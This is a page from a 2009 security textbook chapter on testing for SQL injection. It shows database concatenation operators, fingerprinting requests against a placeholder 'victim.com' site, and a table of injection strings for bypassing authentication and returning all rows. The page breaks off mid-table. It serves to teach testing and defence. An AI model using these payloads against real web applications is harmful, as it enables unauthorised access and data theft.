SQL Injection Attacks and Defense - 2009

Testing for SQL Injection • Chapter 2 73
Table 2.4 Database Concatenation Operators
Database
Microsoft SQL Server
MySQL
Oracle
Concatenation
'a' + 'b' = 'ab'
'a' 'b' = 'ab'
'a' || 'b' = 'ab'
If we find a parameter in a Web application which is vulnerable but we are unsure of the
remote database server, we can use string concatenation techniques for identification.
Remote database identification can be done by replacing any vulnerable string parameter
with a concatenation in the following manner:
http://www.victim.com/displayuser.aspx?User=Bob -- Original request
http://www.victim.com/displayuser.aspx?User=B' + 'ob -- MSSQL server
http://www.victim.com/displayuser.aspx?User=B' 'ob -- MySQL server
http://www.victim.com/displayuser.aspx?User=B' || 'ob -- Oracle
Sending the three modified requests will tell you the database running on the remote
back-end server, as two requests will return a syntax error and one of them will return the
same result as the original request indicating the underlying database.
Table 2.5 shows a summary with some signatures using database comments commonly
used for bypassing authentication mechanisms.
Table 2.5 Signatures Using Database Comments
Testing String Variations Expected Results
admin’-- admin’)-- Bypass authentication mechanism by returning
the admin row set from the database
admin’ # admin’)# MySQL - Bypass authentication mechanism by
returning the admin row set from the database
1-- 1)-- Commenting out the rest of the query, it is
expected to remove any filter specified in the
WHERE clause after the injectable parameter
1 or 1=1-- 1) or 1=1-- Return all rows injecting a numeric parameter
‘ or ‘1’=‘1’-- ‘) or ‘1’=‘1’-- Return all rows injecting a string parameter
Continued